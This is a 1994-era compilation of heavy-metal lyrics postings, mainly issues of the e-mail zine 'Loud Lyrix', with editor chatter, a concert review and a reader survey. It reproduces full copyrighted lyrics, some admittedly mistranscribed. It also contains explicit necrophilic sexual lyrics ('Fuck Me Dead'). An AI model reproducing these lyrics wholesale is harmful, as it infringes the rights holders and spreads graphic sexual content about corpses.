Typed by: Cobalt Raven <gebhart-hnt1@kaman.com>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
****************** W A R I N S I D E M Y H E A D ********************
by S U I C I D A L T E N D E N C I E S
Album: "Join the Army"
War inside my head
War inside my head
War inside my head
War inside my head
War inside my head ain't a pretty sight
But I don't want no sympathy
It's happened a thousand times before
It's just a harsh reality
Chorus:
War inside my head-can you sense it
War inside my head-can you see it
War inside my head-can you feel it
War inside my head
Can you hear the-Pain
Can you see the-Pain
Can you sense the-Pain
Can you feel the-Pain
Can you help the-Pain
Can you fix the-Pain
Can you taste the-Pain
Can you hear the war inside my head
The only thing real is the way I feel
And that's the pain that's deep inside
The battle from within is gonna begin
And there ain't nowhere to hide
Chorus
War inside my head every night and day
I never get no piece of mind
It ought to be a sin, I just can't win
And pure hell is all I find
***************************** T H E E N D *******************************
Typed by: The Lyrics Archive at ftp.uwp.edu
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
********************** T H E A N T I C H R I S T ************************
by S L A Y E R
Album: "Show No Mercy"
Screams and nightmares
Of a life I want
Can't see living this lie no
A world I haunt
You've lost all control of my
Heart and soul
Satan holds my future
Watch it unfold
I am the Antichrist
It's what I was meant to be
Your God left me behind
And set my soul to be free
Watching disciples
Of the satanic rule
Pentagram of blood
Holds the jackal's truth
Searching for the answer
Christ hasn't come
Awaiting the final moment
The birth of Satan's son
Screams,
>From a life I live
Torment,
Is what I give
Torture,
Is what I love
The down fall,
Of the heavens above
I am the Antichrist
All love is lost
Insanity is what I am
Eternally my soul will rot [rot... rot]
***************************** T H E E N D *******************************
Typed by: The Lyrics Archive at ftp.uwp.edu
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
**************************** A N Y T H I N G ******************************
by D A N Z I G
Album: "How The Gods Kill"
Anything you want
Anything the world has to offer
I can give you
If you just reach out to me
Take my hand
Everything a kiss cannot bring you
I will give you
If you just say you will
And it's freedom
In my arms
And it's freedom
In my arms
In my arms
In my arms
Anything you want
Anything this world has to offer
I can give you
All this world and its glories
And its sins
I will give it all to you
Take my hand
If you just say you will
Anything you want
It's in my arms
Anything you need
It's in my arms
Anything you want it's in my arms
Anything you need it's in my arms
In my loving arms
In my arms
In my arms
***************************** T H E E N D *******************************
Typed By : Fernando Araujo <FERNANDO.ARAUJO@alliance-partners.sprint.com>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
************************ C O U N T R Y G I R L **************************
by B L A C K S A B B A T H
Album: "Mob Rules"
Fell in love with a country girl, mornin' sunshine
She was up from another world
Just to bust another soul
Her eyes were an endless flame, holy lightning
Desire wore a special name made to snatch your soul away, yeah
We sailed away on a crimson tide, gone forever
Left my heart on the other side
All to break it into bits
Her smile was a winter's song, a sabbath ending
Don't sleep or you'll find me gone
Just an image in the air, oh
In dreams I think of you
I don't know what to do with myself
Time has let me down
She brings broken dreams, fallen stars
The endless search for where you are
So wrong, so wrong, so wrong, so wrong
Now fell in love with a country girl, mornin' sunshine
She was up from another world
Just to bust another soul
Her eyes were an endless flame, unholy lady
Desire wore a special name made to snatch your soul away, oh
Don't sail away on a crimson tide
Don't leave your heart on the other side
Her eyes are an endless flame
Desire wanna scratch your name
Don't ever fall in love
Don't give your heart away
No never, never fall in love
With a country girl
***************************** T H E E N D *******************************
Typed by: Markus Bautsch <mb@marie.physik.tu-berlin.de>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
I have this song on tape, thought you might like to read the lyrics.. Plays
like metal, have no idea what it's called (besides obvious possibilities!!)
or who did it, or anything.. I can't make out ALL the lyrics, either.. *
means there should be words there... -- Jon-Paul Therriault
************************ F U C K M E D E A D **************************
by ? ? ? ?
Album: ????
(I have no idea who did this song, it was passed on from a friend)
I like the name tag between your toes
I like the snot running out of your nose
I like the stains on your panty hose
Just a cold stiff mummy when I hold you close
I like rigor mortis when it just sets in
I know where you're going I don't care where you've been
A pillow and a coffin just as nice as a bed
And baby I love it when you fuck me dead
I said baby I love it when you fuck me dead
Every new girl's another three day affair
Rather be * pull of your hair
Really doesn't matter if you're gray-haired and old
Really doesn't matter * long as she *
Smiling emergency * ok
Rather make it with you when you're DOA
Lying there stiff when it's time to pay
I can't wait till the undertaker goes away
Hanging upside down when you're getting drained
S & M pleasure on the wall when you *
When you * up just *
Oh baby I love it when you fuck me dead
I said baby I love it when you fuck me dead
Every new girl's another three day affair
Doesn't really matter if I pull on your hair
Doesn't really matter if she's too young or old
I got to be careful *
Baby baby I'll hold you close
Quick quick before you decompose
Baby baby I'll hold you close
And baby I love it when you fuck me dead
I said baby I love it when you fuck me dead
I said baby I love it when you fuck me dead
I said baby I love it when you FUCK!
***************************** T H E E N D *******************************
Typed by: Sartre (Jon-Paul Therriault) <sartre@terranet.cts.com>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
That's it, I really don't have anything left to say, except, party hard,
and don't do anything I would!
C-ya!
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
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| | _ | | | || | | || | | ) | | _`\ /' | , / | | > <
| |_( )| (_) || (_) || |_) | | |_( )| | | |\ \ | | /'/\`\
(____/'(_____)(_____)(____/' (____/'(_) (_) (_)(_)(_) (_)
Loud Lyrix, July 19, 1994, Issue # 16
Addresses
---------
Administrivia: lyrix@terranet.cts.com
Listserv: listserv@planet.org
Editor-in-Chief: Death Incarnate (Gino Filicetti) <death@terranet.cts.com>
Publisher: Death Incarnate (Gino Filicetti)
Distributor: Death Incarnate (Gino Filicetti) & Planet Communications
Mailing Program: LISTSERV at planet.org (Planet Communications)
! NOTE !
~~~~~~~~
All mail sent to the 'zine's list address <lyrix@planet.org> will be
forwarded to the editor at <lyrix@terranet.cts.com>, so please refrain
from sending anything to the list address, as this only 'causes us to
waste valuable resources. Thank you.
HOW TO SUBSCRIBE
~~~~~~~~~~~~~~~~
You may join Loud Lyrix at any time by sending a "SUBSCRIBE LYRIX" command
to listserv@planet.org. Please note that this command must NOT be sent to
the list address <lyrix@planet.org>, but to the mail server which handles
this mailing list.
DISCLAIMER
----------
Loud Lyrix is not responsible for accuracy of the lyrics, song titles,
album titles, or specific performers of the songs contained herein. All
songs are property of the bands that perform them and/or their record
labels. The lyrics contained herein cannot be used for any purpose other
than "private study, scholarship, or research." If anyone makes use of a
reprinted song for purposes in excess of "fair use," that user may be
liable for copyright infringement. Loud Lyrix is not responsible for any
misrepresentation of the performers of any songs or their respective
lyrics. We reserve the right to reprint inaccurate lyrics if the song's
lyrics were not readily available to the typist. And just remember that
this publication is for the sheer fun and pleasure of discovering the
lyrics of some songs, and we are not out to rip off any bands or put any
words in their mouths.
DESCRIPTION
-----------
Loud Lyrix is a weekly publication dedicated to the spread of heavy metal
lyrics throughout the world. Subscriptions are available at no cost
electronically. Five to Ten songs are published every Tuesday. Along with
the lyrics, a section of the zine is devoted to reactions of subscribers to
previously posted songs. All subscribers are urged to send in lyrics from
their own favorite bands for publication. All requests, submissions or
comments must be sent to the above address.
OUR PHILOSOPHY
--------------
We here at Loud Lyrix believe that the true meaning of a song can only make
itself known through the song's lyrics. It is for this reason that Loud
Lyrix exists, we are committed to delivering all the best lyrics of heavy
metal songs to Cyber-bangers around the globe. Long live metal!
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
Loud Lyrix, #16, 7/19/94
------------------------
Hey all you 'bangers out there in 'bangerland.. what's up!! hehehehe...
what a cheesy greeting... but anyways... I'm back with issue #16, a normal,
no frills attached, RAW edition of Loud Lyrix, just a little blabber from
me, and then into the lyrics... anyways... you lazy asses are pretty damn
lazy you know that?! Fuck guys, c'mon! I had ZERO, count 'em... **0**
submissions this week, you think that just 'cause of the survey that's
exempting you from submitting?? Well no siree Bob! Snap to it, or pay the
price, you will feel the wrath of your almighty Editor! :) Ok, anyways,
that means that all of this week's songs are "Editorz Choice" so, if you
have any complaints.... TOO BAD... send in some shit, or request it, or
else get used to my tastes....
BTW.. I actually got something from someone.... WOW! I am amazed.. it's
from Shimon Godes, a review of a Babes In Toyland concert he was at...
hope you guys like it, I know I wish I was there!!! ;)
Ok people.. just a little word about the listserv.... we've been having a
couple of problems with it, and because of that, you guys got a spaced out
issue #14, and fortunately, an OK issue #15.... hopefully, by the time you
get this issue, I will have already remailed issue #14 to you all... sorry
about that... anyways... I'm also in the process of setting up an 'INDEX'
diskspace for Loud Lyrix on planet.org's listserv.... I'm gonna be storing
all the back issues, the AD, the FAQ, and the PGP keys here... I will also
be mailing you all instructions on how to retrieve these files if you want
'em... So hopefully that'll be a little better for all of you... another
thing is late issues... sometimes, the mailer at the site that I access the
Internet from goes down, and that means that when I mail the listserv to
send out the latest issue, that mailing doesn't get there until the system
is back up, so it can't mail the issue out to all of you... unfortunately
this can happen sometimes, so if your Loud Lyrix is late in arriving, don't
fret, don't mail me and cry about your Loud Lyrix... ok? Just sit tight,
and the issue will get to you soon.. sorry about that...
Well, this week I bought Slayer's "Haunting the Chapel" on CD, I found this
rare item for $12.99 and I just HAD to snatch it up... the lowest that I've
EVER seen a Slayer CD was $19.99, so I couldn't pass up the opportunity,
anyways... this CD fucking GRINDS!! It's a three song EP, (with an
additional track, "Aggressive Perfector"), it's got Chemical Warfare,
Captor of Sin, and Haunting the Chapel..... fucking amazing stuff, I can't
peel myself away from it... anyways, I just have a question for any of you
Slayer fans out there, I've got the Show No Mercy cassette, and it ALSO
includes "Aggressive Perfector", but it doesn't sound the same at all! Does
anyone know if it's a remix or if it's on the Show No Mercy cassette at
all?! It's listed in the liner's, but I dunno! Anyways, I've included
"Haunting the Chapel" in this issue, plus "Tormentor" an amazing tune from
Show No Mercy.... enjoy, and yes, I AM a Slayer freak... fucking August
people.. August is the month for their new album to come out!!! No exact
date set yet!
Ok people, just one final word concerning the survey... I've notice a few
minor errors with it.... one thing was that for the "Which rock video shows
do you watch?" I forgot to include a none of the above option. And another
thing was the question of whether you tape albums onto blank cassettes,
lemme just tell you dudes to CHILL OUT man... fuck guyz, I ain't no NARC
or some asshole sleazy record company exec, it was just that the M.E.A.T.
survey had that question, and I thought I'd include it.. big deal! Don't
worry if you say yes, I really don't care, it's just a question.
Ok dudes, that's it... don't forget to get those survey's in, as of now, I
have had 7 handed in, that's outta like 300 of you!! Hurry up! Issue #20
is right around the corner,.... ok guys, that's it... BTW! Guess what I
just noticed... it was exactly four months ago on this day that I started
Loud Lyrix... On March 19/94 I wrote the Loud Lyrix FAQ and the Loud Lyrix
AD, and that's when this huge thing started... fucking amazing.. guys,
thanks to you all dudes.... let's keep this thing goin' forever!!
CONTENTS
--------
Concert Review: Babes In Toyland
Song 1: "Mother's Getting Weaker" ("Them", Chapter 5) by King Diamond
Song 2: "Tormentor" by Slayer
Song 3: "Aces High" by Iron Maiden
Song 4: "Dead Embryonic Cells" by Sepultura
Song 5: "This Love" by Pantera
Song 6: "Haunting the Chapel" by Slayer
Song 7: "Ride The Lightening" by Metallica
Song 8: "Black Sabbath" by Black Sabbath
Song 9: "Rime of the Ancient Mariner" by Iron Maiden
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
**** C O N C E R T R E V I E W : B A B E S I N T O Y L A N D ******
by S H I M O N G O D E S
You don't say dude!!! The concert was awesome. Their LOOKS!!!! The drummer
has wild Bob Marley type of hair (blonde...) and the coolest tatoo of a
snake crawling down her right ankle, (they all played barefoot btw...). The
drummer played like she just came out of the jungle and somebody gave her a
drumkit and told her: "this is drums, now PLAY!!!" Tribal stuff, totally
wild and wicked...
The bassist is amazingly, incredibly sexy!!! She stood less than a meter
from me (I was right next to the stage...). Her name is Maurine Herman, I
got to talk to her a bit after the show (no, not enough to use my charms
and....). She's a cool bass player as well, and what's most exciting - she
does that Frank Zappa trick - lights up a cigarette, smokes it during a
song and then sticks it in the space between the strings and the upper
bridge (where the tuning keys are), so it looks like a candle...
As for the show itself, they played most of the stuff from Fontanelle and
the other album. The talked to the crowd a lot and were very nice. There
was a lot of moshing and stagediving. Then when they played "Handsome And
Gretel" (my favourite song, as you can guess from my posting...) I was
headbanging so violently that I banged my head against the lamp post and
passed out for a few moments... All in all the show was WILD!!!! Just what
I expected... Uncool stuff: Some fucker stole the singer's purse (while
they were playing), where she had her passport and $$$. Very very
uncool!!!!! Also, the fucking bouncers were beating the shit out of the
stagedivers, so bad that at one point the singer had to stop the song and
"save" a fan from being beaten to death...
***************************** T H E E N D *******************************
Typed by: Shimon Godes <godes@decscc.tau.ac.il>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
************* M O T H E R ' S G E T T I N G W E A K E R ***************
by K I N G D I A M O N D
Album: "Them"
Tonight would be the last night that
we had our tea
That bloody tea, which sent us into
ecstasy
Yesterday Mother complained, feeling
dizzy, all in pain
Mother's getting weaker, looking
paler day by day
As morning came, she could not make
it out of bed
And Grandma's spell was getting
straight into her head
Not a single word, she didn't seem to
be alive
Getting weaker, looking paler day by
day
Then Missy came in and she led me by
the hand
I didn't want to go, Oh but I should
have known
Mother was barely conscious, why
should I care
Just looking forward to the next
ordeal
I think I heard My sister begging me
to stay
She gave me the phone, so I could call
someone for help
I simply let go of her hand, then I cut
the wire
Missy was crying as I left them both
behind
And Mother's getting weaker, Missy
shouted at My back
"I hate You"
********************* T O B E C O N T I N U E D ***********************
Typed by: Lyrics Archive at ftp.uwp.edu
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
*************************** T O R M E N T O R *****************************
by S L A Y E R
Album: "Show No Mercy"
Afraid to walk the streets
In the coldness all alone
The blackness of the night
Engulfs your flesh and bones
Hoping for relief
>From the fear you feel inside
Losing all perspective
Of reality in the night
(Chorus:)
Running from shadows
Blinded by fear
The horror of nightfall
Is ever so near
I slowly surround you
As terror sets in
Are you afraid of the night
I see the fright in your eyes
As you turn and run
But is your mind playing tricks
On a body so very young
Feeling as if no one cares
The fear runs down your spine
But I know I'll never rest
Until I know you're mine
(Chorus)
Afraid to walk the streets
In the coldness all alone
The blackness of the night
Engulfs your flesh and bones
Feeling as if no one cares
The fear runs down your spine
But I know I'll never rest
Until I know you're mine
I know you're mine
Too late to hide
Too late to save your life
Tormentor
***************************** T H E E N D *******************************
Typed by: The Lyrics Archive at ftp.uwp.edu
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
*************************** A C E S H I G H *****************************
by I R O N M A I D E N
Album: "Powerslave"
There goes the siren that warns of the air raid
Then comes the sound of the guns sending flak
Out for the scramble we've got to get airborne
Got to get up for the coming attack.
Jump in the cockpit and start up the engines
Remove all the wheelblocks there's no time to waste
Gathering speed as we head down the runway
Gotta get airborne before it's too late.
Running, scrambling, flying
Rolling, turning, diving, going in again
Run, live to fly, fly to live, do or die
Run, live to fly, fly to live. Aces high.
Move in to fire at the mainstream of bombers
Let off a sharp burst and then turn away
Roll over, spin round and come in behind them
Move to their blindsides and firing again.
Bandits at 8 O'clock move in behind us
Ten ME-109's out of the sun
Ascending and turning our spitfires to face them
Heading straight for them I press down my guns
Rolling, turning, diving
Rolling, turning, diving, going in again
Run, live to fly, fly to live, do or die
Run, live to fly, fly to live, Aces high.
***************************** T H E E N D *******************************
Typed by: The Lyrics Archive at ftp.uwp.edu
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
**************** D E A D E M B R Y O N I C C E L L S ******************
by S E P U L T U R A
Album: "Arise"
Land of anger
I didn't ask to be born
Sadness, sorrow
Everything so alone
Laboratory sickness
Infects humanity
No hope for cure
Die by technology
A world full of shit coming down
Tribal violence everywhere
Life in the age of terrorism
We spit in your other face
War of races
World without intelligence
A place consumed by time
End of it all
We're born With pain
No more We're dead
Embryonic cells
Corrosion inside -- we feel
Condemned future -- we see
Emptiness calls -- we hear
Final premonition -- the truth
Land of anger
I didn't ask to be born
Sadness, sorrow
Everything so alone
Laboratory sickness
Infects humanity
No hope for cure
Die by technology
We're born With pain
Suffer Remains
We're born With pain
Suffer Remains
We're dead
***************************** T H E E N D *******************************
Typed by: Lyrics Archives at ftp.uwp.edu
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
************************* T H I S L O V E *******************************
by P A N T E R A
Album: "Vulgar Display of Power"
If ever words were spoken, painful and untrue.
I said I loved but I lied
In my life, all I wanted was the keeping of someone like you.
As it turns out, deeper within me, love was twisted and pointed at you.
- Never ending pain, quickly ending life -
Chorus:
You keep this love, thing, child, toy.
You keep this love, fist, scar, break
You keep this love.
I'd been the tempting one, stole her from herself.
This gift in pain, her pain was life.
And sometimes, I feel so sorry.
I regret this the hurting of you.
But you make me so unhappy, I'd take my life and leave love with you.
- I'd kill myself for you, I'd kill you for myself -
(Chorus)
No more head trips.
**************************** T H E E N D ********************************
Typed by: Death Incarnate
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
***************** H A U N T I N G T H E C H A P E L *******************
by S L A Y E R
Album: "Haunting The Chapel"
The holy cross
Symbol of life
Anticipate the lives of Christians born
Speak of death
The words of hate
Anticipate the rules among the dead
Hell has seen
Priests condemned
To bring forth the lord of the cross
Strike twelve
Raise the dead
The chapel comes under attack
The ghosts of dead
Torment the priest
Their altar will soon be destroyed
Heaven's mass
Turning black
The church will belong to the dead
Blackened magic
And thus we're lost
Lucifer will supreme
The crystal ball
Children of faith
Their lasting eternal scream
Those who never make the people scream
Have no task for all of time
Satan's form of soldiers stand in lust
Destruction charged upon the cross
Attacking there's seven ways to go
Tormenting the priest, hell to the cross
Haunting the chapel has to prevail
Death will come to the house of God that failed
**************************** T H E E N D ********************************
Typed by: Lyrics Archive at ftp.uwp.edu
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
****************** R I D E T H E L I G H T N I N G ********************
by M E T A L L I C A
Album: "Ride The Lightning"
Guilty as charged
But damn it, it ain't right
There is someone else controlling me
Death in the air
Strapped in the electric chair
This can't be happening to me
Who made you God to say
"I'll take your life from you!"
chorus:
Flash before my eyes
Now it's time to die
Burning in my brain
I can feel the flames
Wait for the sign
To flick the switch of death
It's the beginning of the end
Sweat, chilling cold
As I watch death unfold
Consciousness my only friend
My fingers grip with fear
What I am doing here?
chorus:
Someone help me
Oh please God help me
They are trying to take it all away
I don't want to die
Time moving slowly
The minutes seem like hours
The final curtain call I see
How true is this?
Just get it over with
If this is true, just let it be
Wakened by the horrid cream
Freed from the frightening dream
chorus:
***************************** T H E E N D *******************************
Typed By: Bill Northrup <pioneer@cjbbs.com>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
*********************** B L A C K S A B B A T H *************************
by B L A C K S A B B A T H
Album: "Black Sabbath"
What is this that stands before me?
Figure in black which points at me
Turn around quick, and start to run
Find out I'm the chosen one
Oh nooo!
Big black shape with eyes of fire
Telling people their desire
Satan's sitting there, he's smiling
Watches those flames get higher and higher
Oh no, no, please God help me!
Is it the end, my friend?
Satan's coming 'round the bend
people running 'cause they're scared
The people better go and beware!
No, no, please, no!
**************************** T H E E N D ********************************
Typed by: Lyrics Archive at ftp.uwp.edu
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[I think that this is one of the coolest songs ever... it's got an amazing
plot and everything.. the only drawback is that it's like 15 minutes long!!
I was going nuts trying to fit it on a 90 minute tape... anyways.. enjoy!
-- Editor]
********* R I M E O F T H E A N C I E N T M A R I N E R ***********
by I R O N M A I D E N
Album: "Powerslave"
Hear the rime of the ancient mariner
See his eye as he stops one of three
Mesmerizes one of the wedding guests
Stay here and listen to the nightmares of the sea.
And the music plays on, as the bride passes by
Caught by his spell and the mariner tells his tale.
Driven south to the land of the snow and ice
To a place where nobody's been
Through the snow fog flies on the albatross
Hailed in God's name, hoping good luck it brings.
And the ship sails on, back to the North
Through the fog and ice and the albatross follows on.
The mariner kills the bird of good omen
His shipmates cry against what he's done
But when the fog clears, they justify him
And make themselves a part of the crime.
Sailing on and on and north across the sea
Sailing on and on and north 'til all is calm.
The albatross begins with its vengeance
A terrible curse a thirst has begun
His shipmates blame bad luck on the mariner
About his neck, the dead bird is hung.
And the curse goes on and on at sea
And the curse goes on and on for them and me.
"Day after day, day after day,
we stuck nor breath nor motion
as idle as a painted ship upon a painted ocean
Water, water everywhere and
all the boards did shrink
Water, water everywhere nor any drop to drink."
There calls the mariner
There comes a ship over the line
But how can she sail with no wind in her sails and no tide.
See...onward she comes
Onward she nears out of the sun
See, she has no crew
She has no life, wait but here's two.
Death and she Life in Death,
They throw their dice for the crew
She wins the mariner and he belongs to her now.
Then...crew one by one
they drop down dead, two hundred men
She...she, Life in Death.
She lets him live, her chosen one.
"One after one by the star dogged moon,
too quick for groan or sigh
each turned his face with a ghastly pang
and cursed me with his eye
four times fifty living men
(and I heard nor sigh nor groan)
with heavy thump, a lifeless lump,
they dropped down one by one."
The curse it lives on in their eyes
The mariner wished he'd die
Along with the sea creatures
But they lived on, so did he.
and by the light of the moon
He prays for their beauty not doom
With heart he blesses them
God's creatures all of them too.
Then the spell starts to break
The albatross falls from his neck
Sinks down like lead into the sea
Then down in falls comes the rain.
Hear the groans of the long dead seamen
See them stir and they start to rise
Bodies lifted by good spirits
None of them speak and they're lifeless in their eyes
And revenge is still sought, penance starts again
Cast into a trance and the nightmare carries on.
Now the curse is finally lifted
And the mariner sights his home
spirits go from the long dead bodies
Form their own light and the mariner's left alone.
And then a boat came sailing towards him
It was a joy he could not believe
The pilot's boat, his son and the hermit,
Penance of life will fall onto him.
And the ship sinks like lead into the sea
And the hermit shrieves the mariner of his sins.
The mariner's bound to tell of his story
To tell this tale wherever he goes
To teach God's word by his own example
That we must love all things that God made.
And the wedding guest's a sad and wiser man
And the tale goes on and on and on.
***************************** T H E E N D *******************************
Typed by: The Lyrics Archive at ftp.uwp.edu
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Ok, that's it folks... remember about the listserv, I'll be sending
instructions on how to use the diskspace as soon as I get it online, and
remember not to freak out if your Loud Lyrix is late in arriving, and
finally... GET THOSE SUBMISSIONS IN TO ME!!!!!!!!!!! And the survey's too!!
C-ya!
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
End -- Loud Lyrix #16
Ok.. thats all of 'em.. thanks for this Rita.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
< !@# Death #@! | Gino Filicetti <death@terranet.cts.com> >
< #@! Incarnate !@# | ginof@tvo.org / ginof@io.org >
--------------------------------------------------------------------
< Editor of: LOUD LYRIX, A weekly 'zine dedicated to the spread of >
< heavy metal lyrics around the world. >
< Send a 'SUBSCRIBE LYRIX' message to listserv@planet.org to join! >
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

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Loud Lyrix, August 2, 1994, Issue # 18
Addresses
---------
Administrivia: lyrix@terranet.cts.com
Listserv: listserv@planet.org
Editor-in-Chief: Death Incarnate (Gino Filicetti) <death@terranet.cts.com>
Publisher: Death Incarnate (Gino Filicetti)
Distributor: Death Incarnate (Gino Filicetti) & Planet Communications
Mailing Program: LISTSERV at planet.org (Planet Communications)
! NOTE !
~~~~~~~~
All mail sent to the 'zine's list address <lyrix@planet.org> will be
forwarded to the editor at <lyrix@terranet.cts.com>, so please refrain
from sending anything to the list address, as this only 'causes us to
waste valuable resources. Thank you.
HOW TO SUBSCRIBE
~~~~~~~~~~~~~~~~
You may join Loud Lyrix at any time by sending a "SUBSCRIBE LYRIX" command
to listserv@planet.org. Please note that this command must NOT be sent to
the list address <lyrix@planet.org>, but to the mail server which handles
this mailing list.
DISCLAIMER
----------
Loud Lyrix is not responsible for accuracy of the lyrics, song titles,
album titles, or specific performers of the songs contained herein. All
songs are property of the bands that perform them and/or their record
labels. The lyrics contained herein cannot be used for any purpose other
than "private study, scholarship, or research." If anyone makes use of a
reprinted song for purposes in excess of "fair use," that user may be
liable for copyright infringement. Loud Lyrix is not responsible for any
misrepresentation of the performers of any songs or their respective
lyrics. We reserve the right to reprint inaccurate lyrics if the song's
lyrics were not readily available to the typist. And just remember that
this publication is for the sheer fun and pleasure of discovering the
lyrics of some songs, and we are not out to rip off any bands or put any
words in their mouths.
DESCRIPTION
-----------
Loud Lyrix is a weekly publication dedicated to the spread of heavy metal
lyrics throughout the world. Subscriptions are available at no cost
electronically. Five to Ten songs are published every Tuesday. Along with
the lyrics, a section of the zine is devoted to reactions of subscribers to
previously posted songs. All subscribers are urged to send in lyrics from
their own favorite bands for publication. All requests, submissions or
comments must be sent to the above address.
OUR PHILOSOPHY
--------------
We here at Loud Lyrix believe that the true meaning of a song can only make
itself known through the song's lyrics. It is for this reason that Loud
Lyrix exists, we are committed to delivering all the best lyrics of heavy
metal songs to Cyber-bangers around the globe. Long live metal!
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
Loud Lyrix, #18, 8/2/94
-----------------------
Hey people! We're back with issue #18 of the best 'zine on the net: Loud
Lyrix!!! Yep, that's right.... you're eyes aren't deceiving you!! Hehehehe.
Anyway, it seems like forever since I did the last issue, that's 'cause I
put that one together last Saturday... so I dunno, this issue seemed a bit
overdue to me... but still... here we are, and better'n ever.......I HOPE!!
Ok dudes, the first five songs are "Editor's Choice" and the remaining six
are all reader's submissions.... Thanks a lot to all our submitters... you
guys know who you are, and I just wanna thank you for all the work you've
done to keep Loud Lyrix from getting stagnant and boring... keep up the
great work! I wanna see just as many, if not MORE submissions next week!!
Hey people!!! Have you gotten your survey in yet?? For about 250 of you, I
SERIOUSLY DOUBT IT!!! C'mon people.. I've only gotten about 30+ survey's
in so far, and the deadline is August 16th, issue #20.... so c'mon, if you
haven't filled out your survey, snap to it, and get it in to me, I'm
reprinting it in this issue again for any of you that missed issue #15.
Ok people, ok issues #14 and #16.... we are STILL experiencing problems
with the listserv, so I still do not have permission to send those issues
out yet, but I WILL get 'em to you, don't you worry.... anyways, some of
you may have gotten issue #14 perfectly, but most of us got it with a
shitload of blank lines in between each line of text, so that's why I'm
remailing that issue, and for #16, it didn't get out AT ALL... so that's
obvious... anyway.... sorry for all this shit.
As for me, the past week has been pretty good, 'cept at work, fucking
supervisors are SERIOUSLY starting to piss me off.... the are fucking over
everyone, and if they don't watch out, some heads are gonna be broken,
anyways, enough nastiness.... everything else has been pretty much OK,
nothing special, but tolerable... ok then people.. that's it... now to the
songs.
BTW... in someone's survey, I got a compliant about me posting King
Diamond lyrics all the time... all I gotta say is TOO BAD... each King
Diamond album is a concept album, and if I don't print the WHOLE thing,
it's just plain useless, I hope at least some of you are enjoying the
story.
CONTENTS
--------
Reader's Survey (Third Printing)
Song 1: "A Broken Spell" ("Them", Chapter 7) by King Diamond
Song 2: "New World Order" by Ministry
Song 3: "Ride" by Cathedral
Song 4: "Sinner" by Judas Priest
Song 5: "Hell Awaits" by Slayer
Song 6: "I Love The Dead" by Alice Cooper
Song 7: "Can God Fill Teeth?" by Lard
Song 8: "Bandaged Knees" by The Almighty
Song 9: "Infested" by Course of Empire
Song 10: "Burning" by Man O War
Song 11: "Kill Yourself" by S.O.D.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[Remember people.. if you already sent in your survey, DO NOT SEND ANOTHER
ONE IN!!! Thank You -- Editor]
[Thanks go out to Drew Master's and the dudes at M.E.A.T. magazine....
many parts of this survey are taken from MEAT's "1993 Reader's Survey",
without their help, I wouldn't have been able to come up with HALF of this
stuff -- Editor]
********************* R E A D E R ' S S U R V E Y ***********************
by G I N O F I L I C E T T I
Ok everyone, here's the scoop on how to complete this survey.. so listen
up! A typical question will look like this:
Q. What colour is the sky?
A. [_] - black
[_] - yellow
[_] - gray
[_] - blue
[_] - what's a colour?
Ok? Now.. all you have to do is pick an answer, that means ONE answer
(unless otherwise stated), and check it off like this:
[x] - gray
That's all... then go on to the next question, ok?.. is that clear enough
